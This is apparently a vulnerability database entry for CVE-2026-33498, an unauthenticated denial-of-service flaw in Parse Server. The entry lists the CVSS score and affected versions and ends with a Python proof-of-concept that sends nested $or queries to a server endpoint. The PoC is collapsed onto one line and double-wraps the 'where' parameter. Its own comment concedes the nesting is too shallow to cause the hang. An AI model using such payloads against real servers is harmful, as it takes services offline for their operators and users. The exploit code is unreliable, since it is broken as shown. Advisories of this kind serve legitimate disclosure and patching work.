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CVE-2026-33498 CVSS 7.5 HIGH

CVE-2026-33498

Published: 2026-03-24 19:16:54
Last Modified: 2026-03-25 21:21:46

Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.55 and 9.6.0-alpha.44, an attacker can send an unauthenticated HTTP request with a deeply nested query containing logical operators to permanently hang the Parse Server process. The server becomes completely unresponsive and must be manually restarted. This is a bypass of the fix for CVE-2026-32944. This issue has been patched in versions 8.6.55 and 9.6.0-alpha.44.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:* - VULNERABLE
Parse Server < 8.6.55
Parse Server < 9.6.0-alpha.44

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Target Parse Server endpoint url = "http://localhost:1337/parse/classes/_User" # Construct a deeply nested query with logical operators # This payload is designed to bypass the depth checks fixed in CVE-2026-32944 payload = { "where": { "$or": [ {"$or": [{"$or": [{"$or": [{"username": "admin"}]}]}]}, {"$or": [{"$or": [{"$or": [{"password": {"$exists": True}}]}]}]} ] } } # Send unauthenticated request try: # In a real exploit, the nesting would be much deeper to guarantee the hang response = requests.get(url, params={"where": json.dumps(payload)}, timeout=5) print(f"Request sent, status code: {response.status_code}") except requests.exceptions.Timeout: print("Server hung/timed out as expected") except Exception as e: print(f"An error occurred: {e}")

References

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